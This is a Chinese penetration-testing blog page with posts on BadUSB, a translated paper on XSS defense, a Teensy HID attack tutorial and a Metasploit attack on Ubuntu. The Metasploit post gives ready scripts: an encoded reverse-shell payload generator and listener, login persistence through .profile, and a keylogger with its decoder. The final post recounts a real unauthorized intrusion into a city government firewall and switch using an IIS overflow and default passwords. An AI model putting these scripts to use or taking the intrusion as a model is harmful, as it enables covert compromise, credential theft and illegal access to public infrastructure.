插入U盘自动攻击:BadUSB原理与实现(含视频) 渗透测试

漏洞背景

“BadUSB”是今年计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在今年的BlackHat安全大会上公布。BadUSB号称是世界上最邪恶的USB外设。

笔者使用他们的代码做了个类似的U盘,用户插入U盘,就会自动执行预置在固件中的恶意代码,下载服务器上恶意文件,执行恶意操作。注意,这里的U盘自动运行可不是以前的autorun.inf自动运行程序哦,具体的技术细节可以参考后文内容。

视频链接:http://v.qq.com/boke/page/l/g/w/l01425u2igw.html

BadUSB最可怕的一点是恶意代码存在于U盘的固件中,由于PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB进行攻击。

BadUSB原理

在介绍BadUSB的原理之前,笔者在这里先介绍下BadUSB出现之前,利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击的两种类型。分别是"USB RUBBERDUCKY"和"Teensy"。

TEENSY介绍

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

关于TEENSY,可以参考天融信阿尔法实验室的《HID攻击之TEENSY实战


USB RUBBER DUCKY介绍

简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。

这两种攻击方式,是在BadUSB公布之前,比较流行的两种HID攻击方式,缺陷在于要定制硬件设备,通用性比较差。但是BadUSB就不一样了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(比如U盘)。

U盘的内部构造


U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。

BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。

USB协议漏洞

为什么要重写固件呢?下面我们可以看看USB协议中存在的安全漏洞。

现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

BadUSB利用代码分析

笔者对KarstenNohl和Jakob Lell公布的代码进行简单的一个流程解析。

这样一个带有恶意代码的U盘就产生了,更详细的可以搜索Karsten Nohl 和 Jakob Lell公布的代码。

总结

“USB RUBBER DUCKY”、“TEENSY”、“BadUSB”三种最终都是利用了USB协议的漏洞而进行攻击的,“BadUSB”和另外两者的区别在于:BadUSB可以利用普通的USB设备,而不需要进行硬件定制,更具有普遍性。

HID攻击方式有很多种,BadUSB作为其中一种是通过伪装成键盘设备来实现的,同时HID攻击也可以通过伪装成网卡进行DNS劫持攻击。BadUSB的危害目前局限于单向感染,即USB设备感染PC,暂无发现从PC感染USB设备案例。

为了预防此类安全风险,需要我们在日常使用USB设备时,不要使用陌生的USB设备,避免USB存在恶意代码导致安全风险。

延伸:更多的USB接口攻击

通过USB接口攻击的案例很多,BadUSB只是一类,还有通过USB接口横跨PC和Mobile平台进行攻击的案例。




     比如今年爆发的WireLurker蠕虫,感染病毒的电脑系统会通过USB接口去间接感染iOS设备,即使是未越狱的设备也无法避免;


最近央视也报道了充电宝盗取手机隐私的案例对于愈演愈烈的USB风险,应用层还没有见到好的解决方案。倒是硬件层面比较容易解决。比如360无线安全研究团队的SecUSB,还有我们腾讯安全应急响应中心的SecLine。原理都是将USB中的两根数据线去掉。转自freebuf


admin 发布于  2014-12-17 19:52 

deDacota:通过自动化分离数据和代码防御服务端XSS漏洞 渗透测试

原文题目:deDacota: Toward Preventing Server-Side XSS via Automatic Code and Data Separation

原文地址:http://cs.ucsb.edu/~adoupe/static/dedacota-ccs2013.pdf

以下为译文:


Web应用持续受到各种方式的攻击。跨站脚本漏洞是最流行的漏洞之一,产生原因是不被信任的恶意数据通过浏览器提交给应用,并且被解释为程序代码,最终被浏览器执行,造成攻击。本文介绍一种方法可以高效、自动重写应用代码,实现分离网页代码和内联JS脚本,应用CSP策略避免跨站脚本漏洞的产生。

一、跨站脚本漏洞:

跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、偷取密码、传播恶意代码等攻击行为。恶意的攻击者将对客户端有危害的代码放到服务器上作为一个网页内容, 使得其他网站用户在观看此网页时,这些代码注入到了用户的浏览器中执行,导致用户受到攻击。一般而言,利用跨站脚本攻击,攻击者可窃会话COOKIE从而窃取网站用户的隐私,包括密码。

跨站漏洞从利用方式来说分为反射性漏洞和存储型漏洞,发生原因是服务端对用户输入的数据没有进行适当的过滤,导致发送给浏览器的网页携带恶意脚本,从而产生漏洞。从跨站脚本产生的位置不同,又可以分为客户端跨站漏洞和服务端跨站漏洞。客户端跨站漏洞的产生不依赖于用户提交到服务器的数据,也称之为DOM-XSS漏洞。而服务端跨站漏洞依赖于用户提交到服务器的数据,本文主要的研究内容就是如何通过分离网页代码和内联JS脚本,并应用CSP的方式阻止服务端XSS攻击。

二、内容安全策略(CSP)

为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。

CSP 以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。这些问题阻碍CSP的普及,如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整,本文研究的技术可以自动化分离网页代码和内联JS脚本,帮助网站支持CSP技术从而避免潜在的跨站攻击。

三、内联JS分离技术

内联JS分离技术包含三个主要步骤:

1、 静态分析网页代码的HTML输出。

2、 从HTML页面抽取出全部内联JavaScript代码。

3、 重写应用代码以便于适应分离的内联JavaScript代码。

这项分离技术也有一些局限性,比如不能应用于混淆、加密后的代码,只针对服务端XSS漏洞,对于基于DOM的XSS漏洞完全无效。所以这项技术对于XSS漏洞来说并不是万灵药,在与CSP策略结合后只解决大部分XSS的问题,减轻了开发人员的工作量,如果想要完全防御XSS漏洞,只需针对动态产生的JS代码和DOM-XSS做过滤和检测。

以ASP.NET网页表单页面为例。

1

图一: 简单的ASP.NET代码

首先需要确定应用程序是如何输出内容到页面:

<%%>之前的内容会直接输出到HTML页面,并且他们都是C#代码。

<%=代表这个C#代码是变量,在程序运行时其内容会被决定,并输出到HTML页面。

从图一中可以看出,第二行定义的是常量,第三行定义的是变量,在第七行username这个变量就被输出到HTML中,作为内联JS脚本执行。

2

图二:被C#编译器编译后的图一中代码。

在经过C#编译后的代码中,Write函数代替了<%%>标签作为输出函数,可以将内容写到页面当中。而var username代替了<%=标记,通过第八行的Wirit(this.username)将变量内容输出到页面当中。

在第一个阶段有两个关键步骤。第一个是确定将要输出到页面的内容。第二个是确定输出函数被调用的顺序。

我们使用points-to分析算法静态分析源代码来解决这个问题。简单的说points-to算法可以确定指针与变量地址的对应关系,最初被应用于C代码的静态分析当中。这个算法可以确定变量内存储的是常量字符串还是变量。通过它就可以判断Write函数将要输出的内容是常量还是变量,也就确定了那些地方是我们需要分离的数据。

为了确定Write函数被调用的顺序,我们使用了标准的控制流程图,可以准确确定函数调用顺序。这个控制流程图是一个无回路有向图(DAG),任何从根节点出发的叶子节点都代表一个可能的页面输出。

3

图三:程序控制流程图

图中每个实线圈出的节点都是直接输出常量到页面中,虚线圈出的节点是变量输出到节点,该节点值由程序动态决定。

在第二个阶段,我们使用之前生成的有向图精确地分离内联Javascript代码。从根节点出发到达的每个叶子节点都代表一个潜在的页面输出。我们使用一个递归算法递归全部的路径,对每个输出字符串进行识别,从而分离出Javascript代码。在这个过程中可能产生路径爆炸问题,因为即使一些很简单的代码也可能产生大量的逻辑路径,导致遍历失败。我们通过两种方法解决这个问题,第一个就是忽略注释代码。第二个是在每一对Javascript标记中处理不同路径,减少一次性处理的范围。当全部的内联Javascript代码都被识别之后,我们将结果传入下一个阶段——代码重写。

第三个阶段将全部内联Javascript代码与HTML代码分离,将他们存入外部Javascript文件中。原来写Javascript代码的地方被替换为<script src=”External.js”></script>这种形式。程序依照以下流程来重写应用:首先检查Wirte函数中要输出的内容,如果包含Javascript的开始标记,就使用SESSION标记指明这个地方含有内联Javascript代码,重写功能就会先移除这个Javascript标记然后将JS代码内容存入Session缓冲区,并且保持SESSION标记是唯一的,当程序读取到JS结束标记后,删除这个标记,一个内联JS就完整的与代码分离了。之后这个过程一直重复,直到内联JS代码全部被存入Session缓冲区为。最后对每个session缓冲区区hash值,作为外部JS文件名称,以便程序调用。

4

图四:重写之后的代码。

执行完这些步骤我们已经可以完全分离了内联JS脚本,如果其中的脚本仅仅是静态产生的JS脚本,那么网站在应用CSP后就可以完全防御XSS攻击的威胁。但是内联JS脚本中还有动态产生的脚本,将这些脚本仅仅分离到外部JS文件不能防御XSS攻击。比如针对图一中的代码。如果输入username=””;alert(‘xss’)//;那么最终在浏览器执行的脚本会是<script> var username=””;alert(‘xss’)//”;></script>,依然产生跨站威胁。这种跨站威胁应用我们的处理流程是不能完全根除的,因为这是服务端跨站漏洞。但是我们为了减轻动态脚本产生XSS漏洞的可能性,采取了两个处理方法。第一个方法是标记并记录动态脚本,方便人工评估动态产生的脚本是否包含漏洞。第二个方法是定制相应的过滤方法,对动态输出的内容进行转义、过滤。这两个方法只能减轻动态JS脚本产生XSS漏洞的可能性,但不能完全杜绝,这也就是为什么本文主要针对服务端XSS漏洞。

四、评估与实验

实验主要评估该方法的三个方面,第一个是抵御XSS攻击的效果,第二个是重写后的应用源代码是否会产生异常,第三个是重写应用代码对应用性能的影响。

实验选取了以下应用作为实验对象:

5

图五:选取的实验对象。

实验对象选取的条件主要是以下三点:

1、 应用程序开源。

2、 应用包含已知的XSS漏洞。

3、 应用代码没有经过混淆、加密。

因为ASP.NET开源项目很少,所以最后满足条件的项目只有这6个。这些项目有MVC框架的也有非MVC框架,并包含一定量的代码行数(LOC),满足我们的实验条件。

五、    实验结果:

当内联JS代码分离完成及应用了CSP策略后,我们手工的使用EXP对网站进行攻击,原始应用都产生了漏洞,但经过流程处理后的应用都防御了攻击。为了检测处理后的网站时候会产生错误,我们采取手工测试的方法,对每个页面的功能进行检测,最后发现没有任何错误产生。在图六中我们可以看到不同应用的JS分布。安全动态JS指程序识别出动态生成的JS输出内容并进行清理转义,已经安全。不安全的动态JS是我们不能正确识别的,仅进行记录并分离到外部JS文件中。图中(4)标记代表在ASP.NET框架编译程序时会自动产生4个JS脚本,这是我们不可控的元素,不作考虑。最后我们测试了应用性能,结果显示内联JS代码分离可根据内联JS代码使用数量的多少,适当减小页面代码,加速页面加载速度。对于内联JS使用较少的页面会产生反效果,但是不会产生较大影响。

6

图六:内联JS分离完成后的文件分布。

7

图七:内联JS分离完成后页面大小及响应时间对比。

六、总结与不足:

这项技术主要通过结合CSP策略来防御XSS攻击,根据我们的实验结果,该项技术已经达到一定的实际应用水平,可以抵御服务端XSS攻击并且不影响程序的执行结果和网站效率。

这项分离技术也存在一些局限性,比如不能应用于混淆、加密后的代码,只针对服务端XSS漏洞,对于基于DOM的XSS漏洞完全无效。虽然这个方法已经基本可以应用到实际场景当中,但是程序获得内联JS的方法还需要持续改进。目前对于复杂的框架模板比如PHP经常使用的框架Thinkphp,不修改原有程序就识别内联JS脚本存在困难。但是只要解决了输出是如何被应用创建的,和怎样重写应用这两个问题,那么这项技术就可以应用于该框架。对于不同的框架需要不同的定制,对框架通用性较差。



admin 发布于  2014-12-16 13:24 

HID攻击之TEENSY实战 渗透测试

概述

 

从传统意义讲,当你在电脑中插入一张CD/DVD光盘,或者插入一个USB设备时,可以通过自动播放来运行一个包含恶意的文件,不过自动播放功能被关闭时,autorun.inf文件就无法自动执行你的文件了。然而通过TEENSY,你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器,与存储空间,和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

    1

 

 

HID攻击介绍

 

HIDHuman Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。

 

2

 

 

TEENSY介绍

 

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小巧且功能完整的单片机开发系统,它的名字叫Teensy,它能够实现多种类型的项目开发和设计。Teensy为开源项目,任何有能力有技术的厂商都可以生产定制,其中PJRC是最优秀或者说商业化最好的生产商。

 

3

 

 

Teensy主要特点如下

 

AVR处理器,16 MHz

单个按键编程

易于使用的Teensy Loader应用程序

免费软件开发工具

兼容Mac OS XLinuxWindows

小尺寸,多项目的完美支持

 

 

 

开发环境的搭建

 

Teensy芯片进行开发,可以在Arduino中进行,不用担心枯燥的汇编与机器代码,因为Arduino IDE具有使用类似JavaC语言的Processing/Wiring开发环境。环境安装与搭建也非常便捷,可以从http://www.arduino.cc下载安装包,进行安装。本文版权为天融信阿尔法实验室冷风,转载请注明出处。

 

安装完Arduino IDE之后,还需要Teensy芯片的SDK支持库,支持库可以从如下地址获取http://www.pjrc.com/teensy/td_download.html。安装时需要选择Arduino IDE的安装路径,安装完成以后,还需要选择相应的开发板,我们这里应该选择Teensy2.0如图4所示,至此整体开发环境就搭建完成了。

4

 

图4

 

BackTrack提取攻击代码

 

BackTrack中提供了Teensy的完整攻击实例,针对一般情况的测试与使用,是足够的,下面介绍一下攻击代码的提取方法。进入BackTrack5后进入到/pentest/exploits/set目录,如图5所示。

5

 

5

 

进入目录后执行./set会弹出一个新的菜单,请选择第一项Social-Engineering Attacks如图6所示。

 

6

6

在新的选择项中,选择Arduino-Based-Attack Vector选项(Arduino基础攻击向量)如图7所示。

7

7

 

选择Arduino基础攻击向量后,在新的选择中选择Wscript Http Get Msf Payload如图8所示。

 

8

8

在新的选项中输入一个恶意程序的下载地址,此代码功能为自动去指定的位置下载程序并自动执行。如图9所示。

 

9

9

 

最后所有的步骤执行完成后,会在reports目录中成一个名为teensy.pde的文件,如图10所示,此文件可以直接导入到Arduino中进行编译。本文版权为天融信阿尔法实验室冷风,转载请注明出处。

 

10

10

 

攻击代码实现

 

11

 

 

 

如上代码从setup开始执行,执行后自动键入tftp下载命令,并执行,最后运行下载的exe文件,omg函数是在开始运行中键入代码执行。关于每个API函数的详细介绍可以参考teensy提供的API手册,这里不再赘述。

 

攻击效果

 

代码编译后通过Arduino上传到Teensy芯片,把Teensy插入到电脑USB接口后,会自动打开,运行对话框,键入相应的命令并运行,其效果如图11所示。、

 

12

 

图11

 

结束语

 

HID攻击对于大众来说还属于冷门,大众甚至不知道它的存在,防范更是无从谈起,但它的危害却是非常大的,USB设备的普及更是放大了它的邪恶,本文针对HID攻击的方法、原理、实现做了较为详细的描述,希望本文的介绍能让读者对HID攻击有一个更为清晰明了的认识。

注:转载自天融信阿尔法实验室:http://blog.topsec.com.cn/ad_lab/hid攻击之teensy实战/


admin 发布于  2014-12-11 11:35 

Metasploit渗透Ubuntu 12.04攻击测试演练(转) 渗透测试

这篇文章写来主要是一次娱乐性的练习。共享出攻击的细节,其中包括一些经过原作者修改过的各种来源的脚本文件。渗透的过程不是重点,之所以发出来最大的原因主要是文章后半部分维持持久化攻击的一些地方还是很值得学习的,顺便大家也可以再次熟悉一下MSF框架。希望对大家有所帮助。

攻击环境:

Ubuntu12.04LTS 32bit(靶机,默认的软件安装配置)
VirtualBox
Metasploit framework(最新版)
Debian Squeeze 64bit (攻击机)

首先,我们先准备一个简单的二进制ELF可执行文件生成器的bash脚本,这样后续工作就可以轻松很多。然后将脚本放在Metasploit的主目录下:

#!/bin/bash clear
echo"************************************************" echo " LINUX ELF BINARY GENERATOR FOR METASPLOIT    *" echo"************************************************" echo -"What IP are we gonna use  ex. 192.168.0.1?  \c" read IP
echo -"What Port Number are we gonnalisten to? : \c" read port ./msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R| ./msfencode -t elf-e x86/shikata_ga_nai >> Executive echo "Executive binarygenerated.." chmod u=rwx Executive ls -la Executive

运行脚本之后进行简单的配置之后我们就有了一个名为Executive的二进制可执行文件。

接下来需要我们在攻击机上启动一个监听来等待靶机主动连上来,因为我们这里使用了全球流行的reverse后门哇咔咔!为了工作更加简(zhuang)单(bi),我这里又写了一个bash,然后将bash文件也放在Metasploit的主目录下面:

#!/bin/bash clear
echo"*********************************************" echo "   METASPLOIT LINUX METERPRETER LISTENER    *" echo"*********************************************" echo "Here is a network device listavailable on yor machine" cat /proc/net/dev | tr -s  ' ' | cut -' ' -f1,2 | sed -'1,2d' echo -"What network interface are wegonna use ?  \c" read interface
echo -"What Port Number are we gonnalisten to? : \c" read port # Get OS name OS=`uname` IO="" # store IP case $OS in   Linux) IP=`/sbin/ifconfig $interface | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print$1}'`;;    *)IP="Unknown";; esac echo "      starting the meterpreter listener.." ./msfcli exploit/multi/handler  PAYLOAD=linux/x86/meterpreter/reverse_tcp  LHOST=$IP LPORT=$port  E

好了,监听生成结束,然后就需要我们使用各种猥琐的方式将后门木马转给Ubuntu靶机执行。因为这里是练习,所以我们直接将ELF文件放在受害机中执行                         此处有图胜有声

1 (1).jpg

现在我们就已经在靶机上成功执行了这个“未知”的二进制文件。当我们双击这个文件时没有任何反应(所以这个时候后门注入才是王道),不过我们的攻击机上的监听已经有了结果:

1 (2).jpg

然后呢?我们现在有了一个meterpreter shell,不过应该怎样获取到root权限呢?接下来的工作才是最有趣的部分:接下来,我们将在靶机的home中放一个后门文件,并通过修改.profile文件做到每次靶机启动的时候都会执行我们的后门。为了做到这步,我们首先需要下载靶机的.profile文件:

1 (3).jpg

我们在文件中加了一点点内容以保证每次登录都能成功执行我们的后门文件,这里加的是./executive(用的就是生成的后门文件名,这里我们可以起一些诱惑性大的名字比如sys.conf之类的,但是要保证文件具有可执行+x权限)

1 (4).jpg

然后我们将修改后的.profile文件传回靶机

1 (5).jpg

接着我们上传我们的ELF二进制可执行文件到靶机的home目录里面,并改名为executive同时要保证文件具有RWX属性

1 (6).jpg

1 (7).jpg

那么现在我们就获得了一个简单的持久性后门,每次靶机开机我们这边就可以获得一个上线shell,并且文件时静默执行不含任何防腐剂的。

好的,第一步持久化我们已经完成了,接下来我们做点什么呢?

键盘记录

Ubuntu自带xinput所以我们可以利用这个做一个键盘记录keylogger记录靶机在X界面下的一些按键输入。同时这里作者又写了一bash脚本(……):

#!/bin/bash export DISPLAY=:0.0 xinput list
echo -"KBD ID ?" read kbd
xmodmap -pke > /tmp/.xkey.log
script -"xinput test $kbd" |cat >> /tmp/.xkey.log & echo "The keylog can be downloadedfrom /tmp/.xkey.log" echo "Use the meterpreter downloadfunction" echo "Press CTLR+C to exit thissession, keylogger will run in backround"

写完之后我们将脚本放在靶机中然后执行。当然最好也来个登录启动。


1 (8).jpg

启动之后我们还需要手工找到键盘的KBD ID,然后输入,这里是10

1 (9).jpg


然后让脚本去识别一下。脚本记录的log文件默认是放在/tmp文件夹下的,一段时间之后,我们下载下来分析一下。

111.jpg


这个脚本的生成的内容地球人是看不懂的,所以我们将log文件down下来之后还需要进行接下来的处理,这里作者写了一个bash文件生成了一个python脚本来解码这段天书log(…),下面是解码的bash脚本:

#!/bin/sh cat .xkey.log | grep keycode >xmodmap.pke
cat .xkey.log | grep 'key p' > xlog
rm -.xkey.log #Generating some Python to do the decoding echo 'import re, collections, sys' >decoder.py
echo 'from subprocess import *' >>decoder.py
echo 'def keyMap():' >> decoder.py
echo '  table = open("xmodmap.pke")' >> decoder.py
echo '  key = []' >> decoder.py
echo '  for line in table:' >> decoder.py
echo "      m = re.match('keycoded+) = (.+)',line.decode())" >> decoder.py
echo '     if m and m.groups()[1]:' >> decoder.py
echo '        key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])'>> decoder.py
echo '  return key' >> decoder.py
echo 'def printV(letter):' >>decoder.py
echo '     key=keyMap();' >> decoder.py
echo '     for i in key:' >> decoder.py
echo '              if str(letter) ==i.split("_____")[1]:' >> decoder.py
echo '                     return i.split("_____")[0]'>> decoder.py
echo '     return letter' >> decoder.py
echo 'if len(sys.argv) < 2:' >>decoder.py
echo '        print "Usage: %s FILE" %sys.argv[0];' >> decoder.py
echo '        exit();' >> decoder.py
echo 'else:' >> decoder.py
echo '        f = open(sys.argv[1])' >>decoder.py
echo '        lines = f.readlines()' >>decoder.py
echo '        f.close()' >> decoder.py
echo '        for line in lines:' >> decoder.py
echo "                m = re.match('keyss +(\d+)',line)" >> decoder.py
echo '                if m:' >> decoder.py
echo '                          keycode =m.groups()[0]' >> decoder.py
echo '                          print(printV(keycode))' >> decoder.py
 
echo 'Please see LOG-keylogger for theoutput......' python decoder.py xlog > LOG
sed ':a;N;$!ba;s/\n/ /g' LOG >LOG-keylogger
rm -f LOG
rm -f xmodmap.pke
rm -f decoder.py
rm -f xlog
cat LOG-keylogger

现在我们运行一下这个bash脚本,我们就可以看到效果了:

1 (10).jpg



好,keylogger也搞完了接下来就是怎么样获取到root权限了。

获取root权限

在这里,我们从以上的keylogger中获取到了root密码,但是当我们直接输入sudo su获取root的时候却遇到了无法返回响应的情况:

112.jpg

这里有一个绕过的好方法,就是利用自带的python来获取一个交互式的shell从而可以让我们获取root权限

python -import pty;pty.spawn(‘/bin/bash’)”

这样我们sudo su的时候就可以输入root密码了,然后成功获取到了一个root级别的shell,整个过程就完满完成了。

113.jpg



后记

CentOS, Debian Squeeze等有些系统默认是不带xinput的所以keylogger的部分就没办法完成了。

另外,要想防止这个键盘记录其实也很简单,只要去掉xinput的可执行权限就可以了

chmod a-/path/to/xinput

当然,即便是目标机器上没有自带xinput那难道就会难倒我们么?拜托我们都已经有了meterpreter shell了好么。

最后附上作者做的良心的视频Demo(已搬回墙内,不谢!):

百度网盘下载/观看:

链接:  http://pan.baidu.com/s/1eQIkbQy    提取码:  m37p

有梯子的请点这里:http://www.youtube.com/embed/_k_DtYhIOpY


admin 发布于  2014-11-26 22:01 

【原创】漫游某市政府内网防火墙+路由器 渗透测试

      也是前几天晚上,在整理电脑文件夹的时候,突然翻出来的一个工具,让我想到了看过的一些关于IIS溢出攻击的文章,我想在删除之前,还是来试试吧(因为这个漏洞是微软很久以前的,补丁早就出来了,再说应该没有人用这么低版本的IIS了吧)。但是结果让我很惊奇。居然还有。如图所示:

2002-07-25 04_55_44.jpg


如刚刚说得,用这种低版本的很少吧,图中15个只有2个是,而且是一个可以也就说是15:1的比例。

那就直接开始吧,既然为溢出攻击,那么就得先attack让它溢出吧。。。

2002-07-25 05_10_05.jpg

开始了后好久都没成功。。。至于原因,后面会解释。

Try again.........................

2002-07-25 07_14_3.jpg


我勒个擦。。。。溢出成功了!虽然连接的时候是timeout !

后面又重试了几次终于将timeout变成success!

然后就很轻松的的login了!哈哈,试试而已,准备走了,一想到刚刚开始的时候为啥失败啊,于是拿出H-SCAN扫了一下,看结果我就笑了!443 3389 21  23  139 这些端口都开着,不等于是美女在哪里像我招手么!激动。。。。开始 telnet *.15.117.143  进去后是这个画面:

2002.jpg

一看TOPSEC NetGuard Firewall ARES-H V2.6.40 天融信ARES防火墙啊!原来开始的时候失败。。。。

看见system 两眼放光。。。可是需要密码的!用默认密密试了一下,success!人品爆发啊!哈哈

2002-07-25 06_54_26-Telnet .jpg这是进去后看下IP 

2002-07-25 06_43_4.jpg

eht0  eht1 eht2 eht3  这不是路由器么!

立马进相同段的。。。。 

显示Welcome to ZXR10 Fast and Intelligent 3206 Switch of ZTE Corporation ---大概意思--欢迎来到中兴ZXPR10交换机界面。。。。

看了一下配置信息

2002-07-25 06_41_22.jpg

本想做个端口映射的,然后你懂得。但是一想,这是政府的。。。被逮到就完了。。。。。说我非法入侵。。。我可不想因为这么点小东西犯法,不值得!也希望大家不要去犯法哈,好好生活!享受生活!

在走之前,看了一下其同段IP,发现好多都是大开门户!弱口令。。。弱密码。。。

这不是在引诱好奇心强的亲少年犯罪么。。。

       试想:把这个防火墙和路由器拿下后,那上面的办公系统,政府网站,还有一些私人用户的流量数据都可以很清晰的看到,并且可以修改。。。。挂马,广告,一些敏感信息(支付宝/淘宝/银行/QQ密码,身份证号码)等等。路由器是通向互联网的接口,拥有它,你就能窥探整个内网的任何信息。

       一点小体会:政府部门能不能把这些小问题做好啊!用这么好的设备,却不好好管理,纯粹是浪费啊,更有可能让一些刚刚接触这方面的孩子犯法啊,而且是在不经意间。我们要管好自己的好奇心,不然后果有可能是我们自己不能承受的。

       欢迎转载,请尊重版权,注明源自 https://mrxn.net ---Mrxn's Blog 帮助他人,提高自我。

        注:出于安全和法律原因,本博客不提供相关黑客工具下载,需要的可以在网上搜索。



admin 发布于  2014-7-26 22:12